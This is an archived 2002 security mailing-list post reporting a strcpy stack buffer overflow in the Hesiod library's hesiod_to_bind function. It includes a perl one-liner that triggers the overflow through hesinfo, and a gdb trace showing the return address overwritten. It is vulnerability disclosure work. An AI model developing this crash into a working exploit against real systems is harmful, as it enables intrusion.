Re: Hesiod security

From: KF (dotslashat_private)
Date: Thu Jun 06 2002 - 01:15:26 PDT

  • Next message: McAllister, Andrew: "PGP spoof decrypted output?"

    Well this morning this was just a question of curriosity about spoofs... 
    now I have something solid to ask about... (is this remotely exploitable?)
    
    hesiod_to_bind converts  name and type into the DNS name used by 
    hesiod_resolve.  It is the caller's responsibility to free the returned 
    string using free.
    
    hesiod_to_bind is called in the following places
    
    ./hescompat.c:  bindname = hesiod_to_bind(context, name, type);
    ./hesinfo.c:      bindname = hesiod_to_bind(context, name, type);
    ./hesiod.c:  bindname = hesiod_to_bind(context, name, type);
    
    Heres the start of this function so you can see its arguments.
    
    /* This function takes a hesiod (name, type) and returns a DNS
     * name which is to be resolved.
     */
    char *hesiod_to_bind(void *context, const char *name, const char *type)
    {
      struct hesiod_p *ctx = (struct hesiod_p *) context;
      char bindname[MAXDNAME], *p, *ret, **rhs_list = NULL;
      const char *rhs;
      int len;
    
      strcpy(bindname, name);
     ^----------------- here is our problem.
    
    
    hesiod_to_bind() is is called by hesiod_resolve()
    
    /* This is the core function.  Given a hesiod name and type, it
     * returns an array of strings returned by the resolver.
     */
    char **hesiod_resolve(void *context, const char *name, const char *type)
    {
      struct hesiod_p *ctx = (struct hesiod_p *) context;
      char *bindname, **retvec;
    
      bindname = hesiod_to_bind(context, name, type);
    
    ...
    
    The above function is called a few places...
    
    ./hesiod.c:       rhs_list = hesiod_resolve(context, p, "rhs-extension");
    ./hesmailhost.c:  list = hesiod_resolve(context, user, "pobox");
    ./hespwnam.c:  list = hesiod_resolve(context, arg, which ? "uid" : 
    "passwd");
    ./hesservbyname.c:  list = hesiod_resolve(context, name, "service");
    
    I don't have a full understanding of hesiod so I don't know how to test 
    if this is remotely exploitable
    I have found out how to trigger it locally however. (hesinfo is not suid 
    but I think it uses the libraries in hesiod.o)
    
    Starting program: /root/hesiod-3.0.2/./hesinfo -b `perl -e 'print "A" x 
    9000'` a
    
    Program received signal SIGSEGV, Segmentation fault.
    0x08048e8d in hesiod_to_bind (context=0x41414141, name=0x41414141 
    <Address 0x41414141 out of bounds>,
        type=0x41414141 <Address 0x41414141 out of bounds>) at hesiod.c:164
    164       len = strlen(bindname) + 1 + strlen(type);
    (gdb) bt
    #0  0x08048e8d in hesiod_to_bind (context=0x41414141, name=0x41414141 
    <Address 0x41414141 out of bounds>,
        type=0x41414141 <Address 0x41414141 out of bounds>) at hesiod.c:164
    #1  0x41414141 in ?? ()
    Cannot access memory at address 0x41414141
    
    
    -KF
    



    This archive was generated by hypermail 2b30 : Thu Jun 06 2002 - 14:28:05 PDT